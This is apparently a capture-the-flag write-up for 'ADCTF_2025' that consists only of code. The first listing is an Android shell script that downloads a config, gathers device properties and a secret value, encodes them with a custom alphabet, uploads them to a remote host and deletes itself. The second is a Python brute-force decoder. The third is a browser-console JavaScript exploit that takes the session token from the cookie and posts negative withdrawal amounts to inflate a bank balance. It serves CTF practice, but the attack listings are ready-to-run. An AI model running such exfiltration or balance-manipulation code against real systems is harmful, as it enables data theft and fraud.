ADCTF_2025 WP

1
#!/system/bin/sh
2

3
UPLOAD_URL="http://its-genshin-time.internal:8000/"
4
CONFIG_URL="http://its-genshin-time.internal:8000/c0nfi9ur@t1on"
5
CONFIG_PATH="/data/local/tmp/conf.dat"
6
STANDARD_ALPHABET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
7

8
curl -s -L "$CONFIG_URL" -o "$CONFIG_PATH"
9

10
if [ ! -f "$CONFIG_PATH" ]; then
11
  sleep 60
12
  continue
13
fi
14

15
HEX_CONTENT=$(cat "$CONFIG_PATH")
16
TMP_STRING=$(echo "$HEX_CONTENT" | xxd -r -p)
17
DECODED_WITH_PREFIX=$(echo "$TMP_STRING" | tr '!-~' 'P-~!-O')
18
CUSTOM_ALPHABET=$(echo "$DECODED_WITH_PREFIX" | cut -d' ' -f2-)
19

20
rm "$CONFIG_PATH"
21

22

23
PROPS_TO_COLLECT="ro.build.id ro.product.manufacturer ro.build.fingerprint ro.product.model ro.product.brand ro.product.name ro.product.device ro.product.board"
24
JSON_PAYLOAD='{'
25

26
for prop in $PROPS_TO_COLLECT; do
27
  VALUE=$(getprop $prop)
28
  VALUE=$(echo "$VALUE" | sed 's/"/\\"/g')
29
  JSON_PAYLOAD="$JSON_PAYLOAD\"$prop\": \"$VALUE\","
30
done
31

32
SECRET_INFO=$(getprop challenge.secret.info)
33
TIMESTAMP=$(date +%s)
34

35
JSON_PAYLOAD="$JSON_PAYLOAD\"challenge.secret.info\": \"$SECRET_INFO\","
36
JSON_PAYLOAD="$JSON_PAYLOAD\"ts\": $TIMESTAMP"
37
JSON_PAYLOAD="$JSON_PAYLOAD}"
38

39
CUSTOM_B64_PAYLOAD=$(echo "$JSON_PAYLOAD" | base64 -w 0 | tr "$STANDARD_ALPHABET" "$CUSTOM_ALPHABET")
40
curl -X POST -H 'Content-Type: text/plain' -d "$CUSTOM_B64_PAYLOAD" "$UPLOAD_URL"
41

42
rm /data/local/tmp/safe.sh

1
def decode_basehajimi(encoded_str, mapping):
2
    # 将每个字符转换为对应的数值
3
    values = []
4
    for char in encoded_str:
5
        if char in mapping:
6
            values.append(mapping[char])
7
        else:
8
            raise ValueError(f"无效字符: {char}")
9

10
    # 将数值转换为二进制字符串（每个值3位）
11
    binary_str = ''.join(bin(value)[2:].zfill(3) for value in values)
12

13
    # 将二进制字符串按8位分组，转换为字节
14
    bytes_list = []
15
    for i in range(0, len(binary_str), 8):
16
        byte_str = binary_str[i:i+8]
17
        if len(byte_str) == 8:
18
            byte_val = int(byte_str, 2)
19
            bytes_list.append(byte_val)
20

21
    # 将字节序列解码为字符串
22
    decoded_bytes = bytes(bytes_list)
23
    try:
24
        decoded_str = decoded_bytes.decode('utf-8')
25
    except UnicodeDecodeError:
26
        decoded_str = decoded_bytes.decode('latin-1')
27
    return decoded_str
28

29
# 编码字符串
30
encoded_str = "米豆哈哦哦豆哈豆米豆哦北南南基绿豆南基北豆哈哦米绿绿基哈基豆南绿豆哈绿哦哦南南豆豆米绿哈哈哈哦南绿北哦哈基南南哦绿北哦米绿豆绿北豆哈哦北豆南豆北绿米绿米豆哈南南绿米绿米基豆基哈米米基哈米豆南豆米豆绿哦绿豆米北米基哈哈基豆绿米豆哈哦绿哦南哈米绿绿绿北基豆南基米豆绿北豆基哈豆豆基绿绿基南北南"
31

32
# 尝试不同的映射方案
33
mappings = [
34
    # 方案1: 拼音首字母顺序
35
    {'北': 0, '豆': 1, '哈': 2, '基': 3, '绿': 4, '米': 5, '南': 6, '哦': 7},
36

37
    # 方案2: 反序拼音首字母
38
    {'哦': 0, '南': 1, '米': 2, '绿': 3, '基': 4, '哈': 5, '豆': 6, '北': 7},
39

40
    # 方案3: 按Unicode编码排序
41
    {'北': 0, '南': 1, '哈': 2, '基': 3, '哦': 4, '绿': 5, '米': 6, '豆': 7},
42

43
    # 方案4: BaseHajimi字面顺序
44
    {'B': 0, 'a': 1, 's': 2, 'e': 3, 'H': 4, 'j': 5, 'i': 6, 'm': 7},
45

46
    # 方案5: 按字符出现频率排序
47
    {'豆': 0, '绿': 1, '南': 2, '米': 3, '基': 4, '哈': 5, '哦': 6, '北': 7},
48

49
    # 方案6: 尝试flag相关映射
50
    {'f': 0, 'l': 1, 'a': 2, 'g': 3, '{': 4, '}': 5, '0': 6, '1': 7},
51
]
52

53
# 测试所有映射方案
54
for i, mapping in enumerate(mappings, 1):
55
    try:
56
        if i <= 3:  # 前3个方案使用中文字符映射
57
            result = decode_basehajimi(encoded_str, mapping)
58
        else:  # 后3个方案需要将中文字符映射到英文字符
59
            char_map = {k: v for k, v in zip(['北', '豆', '哈', '基', '绿', '米', '南', '哦'], mapping.keys())}
60
            temp_str = ''.join(char_map[char] for char in encoded_str)
61
            result = decode_basehajimi(temp_str, mapping)
62

63
        if 'flag' in result.lower():
64
            print(f"方案 {i} 找到flag: {result}")
65
            break
66
        else:
67
            print(f"方案 {i}: {result[:50]}...")  # 只显示前50个字符
68
    except Exception as e:
69
        print(f"方案 {i} 错误: {e}")
70

71
# 如果以上方案都不行，尝试暴力破解所有可能的映射
72
print("\n尝试所有可能的排列组合...")
73
from itertools import permutations
74

75
chars = ['北', '豆', '哈', '基', '绿', '米', '南', '哦']
76
for perm in permutations(range(8)):
77
    mapping = dict(zip(chars, perm))
78
    try:
79
        result = decode_basehajimi(encoded_str, mapping)
80
        if 'flag{' in result:
81
            print(f"找到flag: {result}")
82
            print(f"使用的映射: {mapping}")
83
            break
84
    except:
85
        pass

1
// Y2K银行ATM漏洞利用脚本
2
// 在登录后的页面按F12打开控制台，粘贴并执行此代码
3

4
// 获取Cookie中的认证token
5
function getCookie(name) {
6
    const nameEQ = name + "=";
7
    const ca = document.cookie.split(';');
8
    for(let i = 0; i < ca.length; i++) {
9
        let c = ca[i];
10
        while (c.charAt(0) === ' ') c = c.substring(1, c.length);
11
        if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);
12
    }
13
    return null;
14
}
15

16
// 主攻击函数
17
async function exploit() {
18
    const token = getCookie('auth_token');
19
    if (!token) {
20
        alert('请先登录！');
21
        return;
22
    }
23

24
    const targetAmount = 1145141919810; // 目标余额
25
    const maxPerTx = 1000000000; // 单次交易限额
26
    let currentBalance = 0;
27

28
    // 1. 先检查当前余额
29
    try {
30
        const response = await fetch('/api/balance', {
31
            headers: { 'Authorization': `Bearer ${token}` }
32
        });
33
        const data = await response.json();
34
        if (response.ok) {
35
            currentBalance = data.balance;
36
            console.log('💰 当前余额:', currentBalance.toLocaleString('zh-CN'), 'ADCoin');
37

38
            // 如果余额已足够，直接领取
39
            if (currentBalance >= targetAmount) {
40
                console.log('✅ 余额已达标，直接领取大奖');
41
                await claimGift();
42
                return;
43
            }
44
        } else {
45
            console.error('❌ 获取余额失败:', data);
46
            return;
47
        }
48
    } catch (error) {
49
        console.error('❌ 网络错误:', error);
50
        return;
51
    }
52

53
    // 2. 计算需要存款的次数
54
    const needed = targetAmount - currentBalance;
55
    const times = Math.ceil(needed / maxPerTx);
56
    console.log(`🔄 需要存款 ${times} 次，目标余额: ${targetAmount.toLocaleString('zh-CN')} ADCoin`);
57

58
    // 3. 准备多个可能的Y2K漏洞日期
59
    const y2kDates = [
60
        '1900-01-01',  // 最可能有效的日期
61
        '2000-12-31',  // 千禧年末
62
        '1999-12-31',  // 接近千禧年
63
        '2001-01-01',  // 千禧年后
64
        '1970-01-01'   // Unix纪元时间
65
    ];
66

67
    let successfulDate = null;
68

69
    // 4. 先测试哪个日期有效
70
    console.log('🔍 测试有效的Y2K日期...');
71
    for (const date of y2kDates) {
72
        try {
73
            const testResponse = await fetch('/api/withdraw', {
74
                method: 'POST',
75
                headers: {
76
                    'Content-Type': 'application/json',
77
                    'Authorization': `Bearer ${token}`
78
                },
79
                body: JSON.stringify({
80
                    amount: -100,  // 小额测试
81
                    date: date
82
                })
83
            });
84

85
            if (testResponse.ok) {
86
                successfulDate = date;
87
                console.log(`✅ 找到有效日期: ${date}`);
88
                break;
89
            }
90
        } catch (error) {
91
            console.log(`❌ 日期 ${date} 测试失败`);
92
        }
93
    }
94

95
    if (!successfulDate) {
96
        console.error('❌ 所有Y2K日期测试都失败，使用默认日期');
97
        successfulDate = '1900-01-01';
98
    }
99

100
    // 5. 批量存款
101
    console.log(`🚀 开始批量存款，使用日期: ${successfulDate}`);
102

103
    for (let i = 0; i < times; i++) {
104
        try {
105
            const response = await fetch('/api/withdraw', {
106
                method: 'POST',
107
                headers: {
108
                    'Content-Type': 'application/json',
109
                    'Authorization': `Bearer ${token}`
110
                },
111
                body: JSON.stringify({
112
                    amount: -maxPerTx,
113
                    date: successfulDate
114
                })
115
            });
116

117
            const data = await response.json();
118

119
            if (response.ok) {
120
                const progress = Math.round(((i + 1) / times) * 100);
121
                console.log(`📊 ${i+1}/${times} (${progress}%) | 新余额: ${data.new_balance.toLocaleString('zh-CN')} ADCoin`);
122

123
                // 实时更新余额
124
                currentBalance = data.new_balance;
125

126
                // 如果提前达标就停止
127
                if (currentBalance >= targetAmount) {
128
                    console.log('🎉 余额已提前达标！');
129
                    break;
130
                }
131
            } else {
132
                console.error(`❌ 第 ${i+1} 次存款失败:`, data);
133

134
                // 如果失败，尝试其他日期
135
                const nextDate = y2kDates.find(date => date !== successfulDate);
136
                if (nextDate) {
137
                    console.log(`🔄 尝试更换日期为: ${nextDate}`);
138
                    successfulDate = nextDate;
139
                }
140
            }
141
        } catch (error) {
142
            console.error(`❌ 第 ${i+1} 次存款网络错误:`, error);
143
        }
144

145
        // 延迟避免请求过快
146
        await new Promise(resolve => setTimeout(resolve, 50));
147
    }
148

149
    // 6. 最终确认并领取大奖
150
    console.log('🎁 准备领取大奖...');
151
    await claimGift();
152
}
153

154
// 领取大奖函数
155
async function claimGift() {
156
    const token = getCookie('auth_token');
157
    if (!token) {
158
        alert('请先登录！');
159
        return;
160
    }
161

162
    try {
163
        const response = await fetch('/api/gift', {
164
            headers: { 'Authorization': `Bearer ${token}` }
165
        });
166
        const data = await response.json();
167
        if (response.ok) {
168
            alert(`🎉 恭喜！获得终极大礼！\n\n消息: ${data.message || data.gift}\n\n🚩 FLAG: ${data.flag}`);
169
            console.log('🚩 FLAG:', data.flag);
170
        } else {
171
            alert('❌ 领取失败: ' + (data.detail || '未知错误'));
172
        }
173
    } catch (error) {
174
        console.error('❌ 网络错误:', error);
175
        alert('❌ 网络错误，请重试');
176
    }
177
}
178

179
// 执行攻击
180
exploit();